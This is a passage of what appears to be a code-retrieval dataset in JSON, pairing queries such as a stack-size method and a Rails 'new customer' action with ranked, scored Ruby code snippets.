"text": "def comment=(_arg0); end",
"title": ""
},
{
"docid": "1d313319256c5ad84463169d06050352",
"score": "0.61519796",
"text": "def comment=(_arg0); end",
"title": ""
},
{
"docid": "1d313319256c5ad84463169d06050352",
"score": "0.61519796",
"text": "def comment=(_arg0); end",
"title": ""
},
{
"docid": "1d313319256c5ad84463169d06050352",
"score": "0.61519796",
"text": "def comment=(_arg0); end",
"title": ""
},
{
"docid": "e7d8938f9d2babfe64a06f6cecefdddf",
"score": "0.6150798",
"text": "def get_comment(n, algebraic_structure)\n ret = <<EOS\n/**\n* Combine #{n} #{algebraic_structure}s into a product #{algebraic_structure}\n*/\nEOS\n ret.strip\nend",
"title": ""
},
{
"docid": "1d182d64288945f3af94aca3403f7b8f",
"score": "0.61418957",
"text": "def comment comment\n end",
"title": ""
},
{
"docid": "99998d8506cb3ef6493c73e8bbb789c7",
"score": "0.6116012",
"text": "def comment!(str)\n if str.include? \"\\n\"\n text! \"<!--\\n#{str}\\n-->\\n\"\n else\n text! \"<!-- #{str} -->\\n\"\n end\n end",
"title": ""
},
{
"docid": "4a16a5400b09bbc6849612093c11e17c",
"score": "0.61088705",
"text": "def comment\n cyc.comment(self.to_sym)\n end",
"title": ""
},
{
"docid": "fb17b48a6c1cf64f30e00c152bbf610b",
"score": "0.6100467",
"text": "def make_node_comment( node )\n\t\tcomment_body = node.as_comment_body or return ''\n\t\treturn self.make_comment( comment_body )\n\tend",
"title": ""
},
{
"docid": "687bc3ccd4201a34683b15baff0f8364",
"score": "0.60518473",
"text": "def comment\n @comment ||= begin\n space = node.previous_sibling and\n space.to_s.blank? && space.to_s.count(\"\\n\") == 1 and\n comment_node = space.previous_sibling\n\n if comment_node.is_a?(REXML::Comment)\n doc.restore_erb_scriptlets(comment_node.to_s.strip)\n end\n end\n end",
"title": ""
},
{
"docid": "43cd4be6ba05922e7e79945f8e9c41c2",
"score": "0.6004471",
"text": "def comment string = nil\n if block_given?\n @nodes << CommentNode.new(yield)\n else\n @nodes << CommentNode.new(string)\n end\n end",
"title": ""
},
{
"docid": "5b71f828dc17c3261eb81c5ce6586dd3",
"score": "0.5993552",
"text": "def generate_string(options = {})\n \"##{comment}\\n\"\n end",
"title": ""
},
{
"docid": "44f39c3fc8b073a5d0a48968895a5f9b",
"score": "0.5992693",
"text": "def string_for_class_entity e\n comment = \n\"/** <#(brief description of #{e.name})#>\n\n <#(comprehensive description)#>\n*/\"\n end",
"title": ""
},
{
"docid": "b5d9c1b598c7c97dbd579825fc147095",
"score": "0.5980464",
"text": "def getComment(var)\n return \"@* \" << var.text << \" *@\\n\"\n end",
"title": ""
},
{
"docid": "1c79cdcb21586720f65b4f9d291f391d",
"score": "0.59420997",
"text": "def comment(str)\n cnode = Node.new(nil, COMMENT_NAME, {}, str)\n delegate.comment((DOCUMENT_NODE + path + [cnode]).compact, self, cnode) if delegate.respond_to?(:comment)\n end",
"title": ""
},
{
"docid": "49ca11f59e78c347128204ee6bf3758a",
"score": "0.5905435",
"text": "def wine_comment\n end",
"title": ""
},
{
"docid": "5ec22a493462d1042c98f40b2733498c",
"score": "0.5851145",
"text": "def generateComment\n\n\tprint(\"\\nEnter a comment: \")\n\tcomment = $stdin.readline.chomp\n\n\treturn \"<!-- #{comment} -->\"\n\nend",
"title": ""
},
{
"docid": "5c9988499e60ddb40d882dc3ef7a0b95",
"score": "0.58505446",
"text": "def comment?; end",
"title": ""
},
{
"docid": "5c9988499e60ddb40d882dc3ef7a0b95",
"score": "0.58505446",
"text": "def comment?; end",
"title": ""
},
{
"docid": "96c1b929deb50dce927d9153f2e8002e",
"score": "0.58021706",
"text": "def write_comment(text)\n puts \"# #{text.chomp}\" # TODO: correctly output multi-line comments\n end",
"title": ""
},
{
"docid": "96c1b929deb50dce927d9153f2e8002e",
"score": "0.58021706",
"text": "def write_comment(text)\n puts \"# #{text.chomp}\" # TODO: correctly output multi-line comments\n end",
"title": ""
},
{
"docid": "22526bb8fd3195d3d67b67c2d0996bce",
"score": "0.58004355",
"text": "def one_line_description(opts={}) ; attributes['comments'] ; end",
"title": ""
},
{
"docid": "971b4c1eeb4bf1b06c0671a252ffa639",
"score": "0.5737447",
"text": "def add_comment_node(node, text)\n comment_node = Nokogiri::XML::Comment.new(node.document, \"wovn-src:#{text}\")\n if node.parent.name == 'title'\n node.parent.add_previous_sibling(comment_node)\n else\n node.add_previous_sibling(comment_node)\n end\n end",
"title": ""
},
{
"docid": "557db3837b2b6a33b472eda7958270f5",
"score": "0.5728844",
"text": "def createComment(data)\n ret = Comment.new(data)\n ret.ownerDocument = self\n ret\n end",
"title": ""
},
{
"docid": "b69ca224dec777ddaedbc79580e0489d",
"score": "0.57060647",
"text": "def comment _args\n \"comment _args;\" \n end",
"title": ""
},
{
"docid": "d4a6c18aceedba5d18e6391930901255",
"score": "0.57032174",
"text": "def doc\n if @spec.key?('doc')\n Comment.new(\"@param #{@spec['name']} #{@spec['doc']}\")\n else\n Comment.new\n end\n end",
"title": ""
},
{
"docid": "7bfc29bba758cff1879d6cd9f0dbe2d2",
"score": "0.56918544",
"text": "def comment_string\n @comment_syntax.string_for_method_entity self\n end",
"title": ""
},
{
"docid": "77d5695fa18b46a870b4c2e214f020d5",
"score": "0.5676314",
"text": "def comment(text)\n comments << text\n end",
"title": ""
},
{
"docid": "6a19e530e9e3ff8dd0e4231a1903e41b",
"score": "0.5648146",
"text": "def comment(value)\n @ole.Comment = value\n nil\n end",
"title": ""
},
{
"docid": "9a76656e6661112d8c6dfb11da2ff78e",
"score": "0.5633077",
"text": "def c_generate_comment_header\nputs <<HERE\n/*\n * This file contains autogenerated routines for dispatching and disassembling\n * MIPS opcodes.\n *\n * The code has been generated by mipsgen.\n *\n * See scripts/mipsgen.rb for the code generator framework.\n * See codegen/cgen.rb for C specific information.\n */\n\nHERE\nend",
"title": ""
},
{
"docid": "d41aedffdda5b45ef79bf21761dffa3a",
"score": "0.5612304",
"text": "def to_xml_string(str = +'')\n str << <<~XML\n <xml xmlns:v=\"urn:schemas-microsoft-com:vml\"\n xmlns:o=\"urn:schemas-microsoft-com:office:office\"\n xmlns:x=\"urn:schemas-microsoft-com:office:excel\">\n <o:shapelayout v:ext=\"edit\">\n <o:idmap v:ext=\"edit\" data=\"#{@comments.worksheet.index + 1}\"/>\n </o:shapelayout>\n <v:shapetype id=\"_x0000_t202\" coordsize=\"21600,21600\" o:spt=\"202\"\n path=\"m0,0l0,21600,21600,21600,21600,0xe\">\n <v:stroke joinstyle=\"miter\"/>\n <v:path gradientshapeok=\"t\" o:connecttype=\"rect\"/>\n </v:shapetype>\n XML\n @comments.each { |comment| comment.vml_shape.to_xml_string str }\n str << \"</xml>\"\n end",
"title": ""
},
{
"docid": "e51cd0b5c71bb88ef8767b76e1dfb383",
"score": "0.5595334",
"text": "def doc_comment(header: true)\n if header\n return <<~END.strip\n ### Element Summary:\n\n - Id: #{self.id}\n - Name: #{self.name}\n - Type: #{self.type}\n - Min/Max: #{self.min}/#{self.max}\n - Description: #{self.description}\n END\n else\n return <<~END.strip\n - Id: #{self.id}\n - Name: #{self.name}\n - Type: #{self.type}\n - Min/Max: #{self.min}/#{self.max}\n - Description: #{self.description}\n END\n end\n end",
"title": ""
},
{
"docid": "baacc66695a2e04f7909d2b07dfd1442",
"score": "0.5552849",
"text": "def xml; end",
"title": ""
},
{
"docid": "11873bdbaa4b2eb0951d277846400a72",
"score": "0.5551849",
"text": "def blank_comments_message\r\n return \"Be the first to say something about this place.\"\r\n end",
"title": ""
},
{
"docid": "cbf03d9fce42f233d617d4c2fc4c3fb2",
"score": "0.55460966",
"text": "def comment= comment # :nodoc:\n comment = case comment\n when RDoc::Comment then\n comment.normalize\n else\n normalize_comment comment\n end\n\n comment = \"#{@comment.to_s}\\n---\\n#{comment.to_s}\" unless @comment.empty?\n\n super comment\n end",
"title": ""
},
{
"docid": "1353cc1aba67a2be464791b2e229998d",
"score": "0.55380285",
"text": "def comments_content(path)\n raw_comments = player_doc.xpath(\"#{path}/comment()\").to_s\n html = raw_comments.gsub(\"<!--\",\"\").gsub(\"-->\",\"\").gsub(\"\\n\", '')\n\n doc = Nokogiri::HTML(html)\n end",
"title": ""
},
{
"docid": "5090b3b0710d830ccf461ec03fd1bab4",
"score": "0.5520265",
"text": "def title_for_rss\n \"Comment from #{username}\"\n end",
"title": ""
},
{
"docid": "aa00e9b03e90c797d95374632ad7fb36",
"score": "0.55201006",
"text": "def on_comment(comment)\n STDOUT << \"on_comment\" << \"\\n\" <<\n \" comment: \" << comment << \"\\n\"\n STDOUT.flush\n end",
"title": ""
},
{
"docid": "66d16ca4c0b82ea8684e5bfc310d8759",
"score": "0.55035126",
"text": "def comment(path, content)\n gsub_file path, content, \"##{content}\"\n end",
"title": ""
},
{
"docid": "0330402e7dc0c21ec05772b655aeabb8",
"score": "0.5503388",
"text": "def comment\r\n file = ''\r\n MIME.mime_dirs.each { |dir|\r\n file = \"#{dir}/#{content_type}.xml\"\r\n break if File.file? file\r\n }\r\n\r\n comments = {}\r\n open(file) { |f|\r\n doc = REXML::Document.new f\r\n REXML::XPath.match(doc, '*/comment').each { |c|\r\n if att = c.attributes['xml:lang']\r\n comments[att] = c.text\r\n else\r\n comments.default = c.text\r\n end\r\n }\r\n }\r\n comments\r\n end",
"title": ""
},
{
"docid": "15c1157c624a3fd53023e947360655e7",
"score": "0.5501947",
"text": "def rude_comment\n @res.write GO_AWAY_COMMENT\n @res.status = 404\n end",
"title": ""
},
{
"docid": "6e0c33a0d2a843720817a2e706bbc2c3",
"score": "0.549497",
"text": "def docstring; end",
"title": ""
},
{
"docid": "6e0c33a0d2a843720817a2e706bbc2c3",
"score": "0.549497",
"text": "def docstring; end",
"title": ""
},
{
"docid": "c68cc05453acaa42ff888a632c3b924d",
"score": "0.5492836",
"text": "def f_slash_comment\n emit_comment(parse(\"\\n\"))\nend",
"title": ""
},
{
"docid": "73131df1f100f9c74507d336ec0be291",
"score": "0.54919976",
"text": "def document\n comment_code\n super\n end",
"title": ""
},
{
"docid": "614e27b70fe4d3604aa70e5c6f8b533e",
"score": "0.54896015",
"text": "def item_comment_string(item, html_required)\n return \"\" if item.nil?\n \n if item.comment.nil? || item.comment.blank?\n return \"Comment: \" + (html_required ? \"<span class='none_text'>none</span>\" : \"none\")\n else\n return \"Comment: \" + (html_required ? \"<div class='comment_text'>#{white_list(simple_format(item.comment))}</div>\" : (\"\\n | \" + item.comment.gsub(/\\n/, \"\\n | \")))\n end\n end",
"title": ""
},
{
"docid": "ea84edf565c21f2e39f7cc0b42836a99",
"score": "0.5474181",
"text": "def make_comment( content )\n\t\treturn [\n\t\t\tself.options[:comment_start],\n\t\t\tcontent,\n\t\t\tself.options[:comment_end],\n\t\t].join\n\tend",
"title": ""
},
{
"docid": "36398679ce3dccc7c79b551d8fdef31b",
"score": "0.5470355",
"text": "def comment\n upgrade_to_v2 \n return read_attribute(:comment)\n end",
"title": ""
},
{
"docid": "ad02eabe11eed7c0eb446943ce40abbb",
"score": "0.54677093",
"text": "def format_comment(comment)\n comment\n end",
"title": ""
},
{
"docid": "a8660d5ea00efc501898aa10b5aaaca3",
"score": "0.546291",
"text": "def comment\n file = nil\n \n if respond_to?(:source_location)\n comment = MethodSource.comment_helper(source_location)\n \n raise \"Cannot locate source for this method: #{name}\" if !comment\n else\n raise \"Method#comment not supported by this Ruby version (#{RUBY_VERSION})\"\n end\n\n comment\n end",
"title": ""
},
{
"docid": "afaba557614bdea3fc5e764fa84dd2a4",
"score": "0.546284",
"text": "def comments(*args)\n args.push(lambda{|*x| yield(*x) }) if block_given?\n args.push GAP if args.empty?\n args.push \"\\n\"\n comment(\"\\n\", *args)\n end",
"title": ""
},
{
"docid": "66f696de05dd087dfd6705433f2ec5d1",
"score": "0.5461075",
"text": "def good_xml\n \"<PLAY><TITLE>My Simple Play</TITLE></PLAY>\"\n end",
"title": ""
},
{
"docid": "a8f964ee764f933586a143ddbdb54d8c",
"score": "0.54533494",
"text": "def comments=(_arg0); end",
"title": ""
},
{
"docid": "a8f964ee764f933586a143ddbdb54d8c",
"score": "0.54533494",
"text": "def comments=(_arg0); end",
"title": ""
},
{
"docid": "a8f964ee764f933586a143ddbdb54d8c",
"score": "0.54533494",
"text": "def comments=(_arg0); end",
"title": ""
}
] |
a3710128d8401604e4d30664b0fbbce2 | Return the number of items on the stack | [
{
"docid": "d5b214742d23f48f6d9a48bb30383991",
"score": "0.0",
"text": "def size\n @size\n end",
"title": ""
}
] | [
{
"docid": "f3713a62ea68e7242ea22ea25f32d3a4",
"score": "0.86790305",
"text": "def size()\n @stack.count\n end",
"title": ""
},
{
"docid": "4ca393aa83b624110eccf15dd3508080",
"score": "0.85472274",
"text": "def count\n return @stack.size\n end",
"title": ""
},
{
"docid": "b8c5c3aa66b2b4c1c9489c9737a3a6a6",
"score": "0.8525838",
"text": "def count\n\t\t@stack.length\n\tend",
"title": ""
},
{
"docid": "a93de5a67c6a800180fafdaea62de3ee",
"score": "0.8239972",
"text": "def size\n @stack.length\n end",
"title": ""
},
{
"docid": "12e04d85aa548dedef599e4f8fd3a2df",
"score": "0.8235565",
"text": "def length\n @stack.length\n end",
"title": ""
},
{
"docid": "27ea6409d4524838735b55e1429892d0",
"score": "0.8234591",
"text": "def length\n @the_stack.length\n end",
"title": ""
},
{
"docid": "9ed19b42192ae6b24f06b8dc07097e8b",
"score": "0.8187147",
"text": "def size\n @stack.size\n end",
"title": ""
},
{
"docid": "50b0c3e0908c203b3ea652c76398533d",
"score": "0.8159826",
"text": "def length\n return @stack.length\n end",
"title": ""
},
{
"docid": "c68bf8ad2a359fc23e9289dcf23be39e",
"score": "0.81472284",
"text": "def size\n \t@stack.size\n end",
"title": ""
},
{
"docid": "c9e2ad14633fd0e746013986e6512185",
"score": "0.80430007",
"text": "def size\n @stack.size\n end",
"title": ""
},
{
"docid": "c9e2ad14633fd0e746013986e6512185",
"score": "0.80430007",
"text": "def size\n @stack.size\n end",
"title": ""
},
{
"docid": "c9e2ad14633fd0e746013986e6512185",
"score": "0.80430007",
"text": "def size\n @stack.size\n end",
"title": ""
},
{
"docid": "0484f9cd66cc6bd7e84144522b862121",
"score": "0.7469149",
"text": "def item_count\n return @elements.length\n end",
"title": ""
},
{
"docid": "6d909364b107b1ffb33aa9ce16958628",
"score": "0.74638593",
"text": "def size\n counter = 0\n @items.each do |item|\n counter += 1\n end\n return counter\n end",
"title": ""
},
{
"docid": "7c6784af8cc226f480eff779a8abebf7",
"score": "0.74602425",
"text": "def stack_size; end",
"title": ""
},
{
"docid": "f0cc9983a4957761248c56bdf6684915",
"score": "0.74369824",
"text": "def item_count\n items.size\n end",
"title": ""
},
{
"docid": "6c20609ecde7c542edaaea34529276f2",
"score": "0.74042225",
"text": "def item_count\n items.size\n end",
"title": ""
},
{
"docid": "e61011f971c631276dfe81b2efdce001",
"score": "0.7314691",
"text": "def item_count\n @items.length\n end",
"title": ""
},
{
"docid": "3a5b0bdb1271d49a6c59da770729d968",
"score": "0.7251891",
"text": "def count\r\n items.size\r\n end",
"title": ""
},
{
"docid": "e130c2e31ccc29c818516136004d063e",
"score": "0.72463274",
"text": "def size\n @current_block.instance_eval { @stack }\n end",
"title": ""
},
{
"docid": "e130c2e31ccc29c818516136004d063e",
"score": "0.72463274",
"text": "def size\n @current_block.instance_eval { @stack }\n end",
"title": ""
},
{
"docid": "06375065cc126632cbf4d6808b038702",
"score": "0.7212205",
"text": "def nitems\n end",
"title": ""
},
{
"docid": "b85d9938f454ed7fb8a4b867e37506a8",
"score": "0.7204783",
"text": "def nb_items\n return @contained.length\n end",
"title": ""
},
{
"docid": "02673d72af985c9c207f6ba199503f7b",
"score": "0.72004426",
"text": "def count\n @items.length\n end",
"title": ""
},
{
"docid": "0a42a483ef5a20860ec9f5a6d66d621a",
"score": "0.7196445",
"text": "def level\n @stack.size\n end",
"title": ""
},
{
"docid": "9a4b99b3fc792d9b70960b005f60c239",
"score": "0.7189933",
"text": "def nitems\n # TODO - seems like this could be optimized \n # to run without unpacking each item...\n count = self.length\n nil_array = self.nil_value\n each do |array|\n count -= 1 if array == nil_array\n end\n count\n end",
"title": ""
},
{
"docid": "ea82c6597986db5a1c824735fcfb1cb3",
"score": "0.7141401",
"text": "def size\n return @items.length\n end",
"title": ""
},
{
"docid": "ea82c6597986db5a1c824735fcfb1cb3",
"score": "0.7141401",
"text": "def size\n return @items.length\n end",
"title": ""
},
{
"docid": "ea82c6597986db5a1c824735fcfb1cb3",
"score": "0.7141401",
"text": "def size\n return @items.length\n end",
"title": ""
},
{
"docid": "ea82c6597986db5a1c824735fcfb1cb3",
"score": "0.7141401",
"text": "def size\n return @items.length\n end",
"title": ""
},
{
"docid": "ea82c6597986db5a1c824735fcfb1cb3",
"score": "0.7141401",
"text": "def size\n return @items.length\n end",
"title": ""
},
{
"docid": "ea82c6597986db5a1c824735fcfb1cb3",
"score": "0.7141401",
"text": "def size\n return @items.length\n end",
"title": ""
},
{
"docid": "ea82c6597986db5a1c824735fcfb1cb3",
"score": "0.7141401",
"text": "def size\n return @items.length\n end",
"title": ""
},
{
"docid": "ea82c6597986db5a1c824735fcfb1cb3",
"score": "0.7141401",
"text": "def size\n return @items.length\n end",
"title": ""
},
{
"docid": "ea82c6597986db5a1c824735fcfb1cb3",
"score": "0.7141401",
"text": "def size\n return @items.length\n end",
"title": ""
},
{
"docid": "cbe26400d44fb572029460331a914ec2",
"score": "0.71385443",
"text": "def nitems\n count = 0\n self.each do |item|\n count += 1 unless item.nil?\n end\n\n return count\n end",
"title": ""
},
{
"docid": "e1845d35973194fb0c0104f078226b42",
"score": "0.7128914",
"text": "def count\n if @items\n return @items.count\n else\n return 0\n end\n end",
"title": ""
},
{
"docid": "ea29865059ff169c8fba06713d10b62f",
"score": "0.71198833",
"text": "def size\n\t\tinject(0) { |count,n| count + 1 }\n\tend",
"title": ""
},
{
"docid": "f7f217be8427a8933d6fda85be8163e6",
"score": "0.70897764",
"text": "def size\n @items.count\n end",
"title": ""
},
{
"docid": "f7f217be8427a8933d6fda85be8163e6",
"score": "0.70897764",
"text": "def size\n @items.count\n end",
"title": ""
},
{
"docid": "f7f217be8427a8933d6fda85be8163e6",
"score": "0.70897764",
"text": "def size\n @items.count\n end",
"title": ""
},
{
"docid": "f7f217be8427a8933d6fda85be8163e6",
"score": "0.70897764",
"text": "def size\n @items.count\n end",
"title": ""
},
{
"docid": "f7f217be8427a8933d6fda85be8163e6",
"score": "0.70897764",
"text": "def size\n @items.count\n end",
"title": ""
},
{
"docid": "f7f217be8427a8933d6fda85be8163e6",
"score": "0.70897764",
"text": "def size\n @items.count\n end",
"title": ""
},
{
"docid": "f7f217be8427a8933d6fda85be8163e6",
"score": "0.70897764",
"text": "def size\n @items.count\n end",
"title": ""
},
{
"docid": "ebe2a68afad1ee64de1389706b809f0a",
"score": "0.70839745",
"text": "def size\n return @items.size\n end",
"title": ""
},
{
"docid": "ebe2a68afad1ee64de1389706b809f0a",
"score": "0.70839745",
"text": "def size\n return @items.size\n end",
"title": ""
},
{
"docid": "ebe2a68afad1ee64de1389706b809f0a",
"score": "0.70839745",
"text": "def size\n return @items.size\n end",
"title": ""
},
{
"docid": "ebe2a68afad1ee64de1389706b809f0a",
"score": "0.70839745",
"text": "def size\n return @items.size\n end",
"title": ""
},
{
"docid": "145e1a8b030d3675ad5b1c4a2cd7a841",
"score": "0.70688295",
"text": "def count\n size\n end",
"title": ""
},
{
"docid": "0ea905d910de5d4564af84d61f90a2b2",
"score": "0.7063745",
"text": "def size\n @items.length\n end",
"title": ""
},
{
"docid": "494fba436715d87e1bb9d932102115fd",
"score": "0.70589316",
"text": "def size\n @items.count\n end",
"title": ""
},
{
"docid": "233b6d1465a641d2473cf2df490863cb",
"score": "0.7054439",
"text": "def size\n\t\treturn @items.size\n end",
"title": ""
},
{
"docid": "233b6d1465a641d2473cf2df490863cb",
"score": "0.7054439",
"text": "def size\n\t\treturn @items.size\n end",
"title": ""
},
{
"docid": "21c140ac4bf10c86dcb277b5d819ac43",
"score": "0.70527136",
"text": "def length(&block)\n length = @stack.length\n yield length if not block.nil?\n return length\n end",
"title": ""
},
{
"docid": "b0b4f666d76a29f47bf84d9039c2777e",
"score": "0.7051022",
"text": "def size\n size = 0\n post_order_traverse { size += 1 }\n size\n end",
"title": ""
},
{
"docid": "b85c605f2aa7868e743654cbe336da1d",
"score": "0.70162964",
"text": "def test_num_items\n @line_stack.push(\"1\")\n @line_stack.push(\"2\")\n assert_equal @line_stack.num_items, 2\n end",
"title": ""
},
{
"docid": "8983632d9509e6eb555eba6d14bd3388",
"score": "0.7001941",
"text": "def size\n @items.length\n end",
"title": ""
},
{
"docid": "009f0a296cc3361d7a43bec069863721",
"score": "0.69954336",
"text": "def size\n items.size\n end",
"title": ""
},
{
"docid": "009f0a296cc3361d7a43bec069863721",
"score": "0.69954336",
"text": "def size\n items.size\n end",
"title": ""
},
{
"docid": "5cde6403a578659cc4fa57a20531d697",
"score": "0.69859934",
"text": "def size\n\t @items.size\n end",
"title": ""
},
{
"docid": "faa83b9819519570158bb44e72993c32",
"score": "0.69780755",
"text": "def size\n return @size = @items.length\n end",
"title": ""
},
{
"docid": "2948be770add32f4513f400ca0677835",
"score": "0.69761634",
"text": "def size\r\n @items.size\r\n end",
"title": ""
},
{
"docid": "026af379fda242eec58385fb13210469",
"score": "0.69760895",
"text": "def size\n @items.size\n end",
"title": ""
},
{
"docid": "026af379fda242eec58385fb13210469",
"score": "0.69760895",
"text": "def size\n @items.size\n end",
"title": ""
},
{
"docid": "026af379fda242eec58385fb13210469",
"score": "0.69760895",
"text": "def size\n @items.size\n end",
"title": ""
},
{
"docid": "026af379fda242eec58385fb13210469",
"score": "0.69760895",
"text": "def size\n @items.size\n end",
"title": ""
},
{
"docid": "026af379fda242eec58385fb13210469",
"score": "0.69760895",
"text": "def size\n @items.size\n end",
"title": ""
},
{
"docid": "cf6e550b14e4889e744ce663293de75c",
"score": "0.6974377",
"text": "def depth\n @stack.length\n end",
"title": ""
},
{
"docid": "ee2fec0e8c7ffa56b6b453b2d30b2f74",
"score": "0.6967287",
"text": "def stack_top_size(i=0)\n i += 1\n @next_stack_element ? @next_stack_element.stack_top_size(i) : i\n end",
"title": ""
},
{
"docid": "3d6e79add4ddb119f53849790c3ef585",
"score": "0.69502234",
"text": "def size\n @items.length\n end",
"title": ""
},
{
"docid": "3d6e79add4ddb119f53849790c3ef585",
"score": "0.6949939",
"text": "def size\n @items.length\n end",
"title": ""
},
{
"docid": "3d6e79add4ddb119f53849790c3ef585",
"score": "0.6949939",
"text": "def size\n @items.length\n end",
"title": ""
},
{
"docid": "3d6e79add4ddb119f53849790c3ef585",
"score": "0.6949939",
"text": "def size\n @items.length\n end",
"title": ""
},
{
"docid": "3d6e79add4ddb119f53849790c3ef585",
"score": "0.6949939",
"text": "def size\n @items.length\n end",
"title": ""
},
{
"docid": "3d6e79add4ddb119f53849790c3ef585",
"score": "0.6949939",
"text": "def size\n @items.length\n end",
"title": ""
},
{
"docid": "3d6e79add4ddb119f53849790c3ef585",
"score": "0.6949939",
"text": "def size\n @items.length\n end",
"title": ""
},
{
"docid": "3d6e79add4ddb119f53849790c3ef585",
"score": "0.6949939",
"text": "def size\n @items.length\n end",
"title": ""
},
{
"docid": "3d6e79add4ddb119f53849790c3ef585",
"score": "0.6949939",
"text": "def size\n @items.length\n end",
"title": ""
},
{
"docid": "3d6e79add4ddb119f53849790c3ef585",
"score": "0.6949939",
"text": "def size\n @items.length\n end",
"title": ""
},
{
"docid": "3d6e79add4ddb119f53849790c3ef585",
"score": "0.6949939",
"text": "def size\n @items.length\n end",
"title": ""
},
{
"docid": "3d6e79add4ddb119f53849790c3ef585",
"score": "0.6949939",
"text": "def size\n @items.length\n end",
"title": ""
},
{
"docid": "3d6e79add4ddb119f53849790c3ef585",
"score": "0.6949939",
"text": "def size\n @items.length\n end",
"title": ""
},
{
"docid": "3d6e79add4ddb119f53849790c3ef585",
"score": "0.6949939",
"text": "def size\n @items.length\n end",
"title": ""
},
{
"docid": "3d6e79add4ddb119f53849790c3ef585",
"score": "0.6949939",
"text": "def size\n @items.length\n end",
"title": ""
},
{
"docid": "3d6e79add4ddb119f53849790c3ef585",
"score": "0.6949939",
"text": "def size\n @items.length\n end",
"title": ""
},
{
"docid": "3d6e79add4ddb119f53849790c3ef585",
"score": "0.6949939",
"text": "def size\n @items.length\n end",
"title": ""
},
{
"docid": "3d6e79add4ddb119f53849790c3ef585",
"score": "0.6949939",
"text": "def size\n @items.length\n end",
"title": ""
},
{
"docid": "3d6e79add4ddb119f53849790c3ef585",
"score": "0.6949939",
"text": "def size\n @items.length\n end",
"title": ""
},
{
"docid": "3d6e79add4ddb119f53849790c3ef585",
"score": "0.6949939",
"text": "def size\n @items.length\n end",
"title": ""
},
{
"docid": "3d6e79add4ddb119f53849790c3ef585",
"score": "0.6949939",
"text": "def size\n @items.length\n end",
"title": ""
},
{
"docid": "3d6e79add4ddb119f53849790c3ef585",
"score": "0.6949939",
"text": "def size\n @items.length\n end",
"title": ""
},
{
"docid": "3d6e79add4ddb119f53849790c3ef585",
"score": "0.6949939",
"text": "def size\n @items.length\n end",
"title": ""
},
{
"docid": "3d6e79add4ddb119f53849790c3ef585",
"score": "0.6949939",
"text": "def size\n @items.length\n end",
"title": ""
},
{
"docid": "3d6e79add4ddb119f53849790c3ef585",
"score": "0.6949939",
"text": "def size\n @items.length\n end",
"title": ""
},
{
"docid": "3d6e79add4ddb119f53849790c3ef585",
"score": "0.6949939",
"text": "def size\n @items.length\n end",
"title": ""
},
{
"docid": "3d6e79add4ddb119f53849790c3ef585",
"score": "0.6949939",
"text": "def size\n @items.length\n end",
"title": ""
},
{
"docid": "3d6e79add4ddb119f53849790c3ef585",
"score": "0.6949939",
"text": "def size\n @items.length\n end",
"title": ""
},
{
"docid": "3d6e79add4ddb119f53849790c3ef585",
"score": "0.6949939",
"text": "def size\n @items.length\n end",
"title": ""
},
{
"docid": "3d6e79add4ddb119f53849790c3ef585",
"score": "0.6949939",
"text": "def size\n @items.length\n end",
"title": ""
},
{
"docid": "3d6e79add4ddb119f53849790c3ef585",
"score": "0.6949939",
"text": "def size\n @items.length\n end",
"title": ""
}
] |
049dd74e3022c87145fbea90b5304cc6 | GET /customers/new GET /customers/new.json | [
{
"docid": "4fe00685feae8dfd5b01320e7758ac88",
"score": "0.7972084",
"text": "def new\n @customer = Customer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @customer }\n end\n end",
"title": ""
}
] | [
{
"docid": "63fecd63146b9a37aaff6669de0ddb1e",
"score": "0.8234244",
"text": "def new\n @customer = Customer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: customers_path }\n end\n end",
"title": ""
},
{
"docid": "ac0902c21a923b6a7ea901f19aecb468",
"score": "0.7970295",
"text": "def new\n @customer = Customer.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @customer }\n end\n end",
"title": ""
},
{
"docid": "26e5b6942141161baa78316ab100a5a1",
"score": "0.7918692",
"text": "def new\n @customer = Customer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @customer }\n end\n end",
"title": ""
},
{
"docid": "4026651de7a23850a2faab8310f3aa60",
"score": "0.78623116",
"text": "def new\n @customer = Customer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @customer }\n end\n end",
"title": ""
},
{
"docid": "7f82cff27506380d3ecd3b34a2175ef9",
"score": "0.7855379",
"text": "def new\n @customer = Customer.new\n\n respond_to do |format|\n format.html\n format.json { render json: @customer }\n end\n end",
"title": ""
},
{
"docid": "7f82cff27506380d3ecd3b34a2175ef9",
"score": "0.7855379",
"text": "def new\n @customer = Customer.new\n\n respond_to do |format|\n format.html\n format.json { render json: @customer }\n end\n end",
"title": ""
},
{
"docid": "d658d7e8ce4b6af26535453c6d46808d",
"score": "0.76082027",
"text": "def new\n @instant_customer = InstantCustomer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @instant_customer }\n end\n end",
"title": ""
},
{
"docid": "763117980613bca37494321f4d47ce4a",
"score": "0.75462323",
"text": "def new\n @customer = Customer.new\n @customer_types = Customer.find(:all, :conditions => \"customer_type_id = 2\")\n @customers = Customer.find(:all, :conditions => \"customer_type_id = 2\")\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @customer }\n end\n end",
"title": ""
},
{
"docid": "3cf7f8af35c805f165f0cef553b21593",
"score": "0.754326",
"text": "def new\n @title = t('view.customers.new_title')\n @customer = Customer.new\n\n respond_to do |format|\n format.html { render action: current_user ? 'new' : 'new_public' }\n format.json { render json: @customer }\n end\n end",
"title": ""
},
{
"docid": "3cf7f8af35c805f165f0cef553b21593",
"score": "0.754326",
"text": "def new\n @title = t('view.customers.new_title')\n @customer = Customer.new\n\n respond_to do |format|\n format.html { render action: current_user ? 'new' : 'new_public' }\n format.json { render json: @customer }\n end\n end",
"title": ""
},
{
"docid": "f56c1bde860ff81dea136df83bbfc5aa",
"score": "0.7535111",
"text": "def new\n @customer = Customer.new\n @user = User.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @customer }\n end\n end",
"title": ""
},
{
"docid": "b55d3cd8c31d65ba587896acc7b6879e",
"score": "0.7532993",
"text": "def new\n @customer_class = CustomerClass.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @customer_class }\n end\n end",
"title": ""
},
{
"docid": "31757671ef7a2d1ce850d30f0b86be73",
"score": "0.7457632",
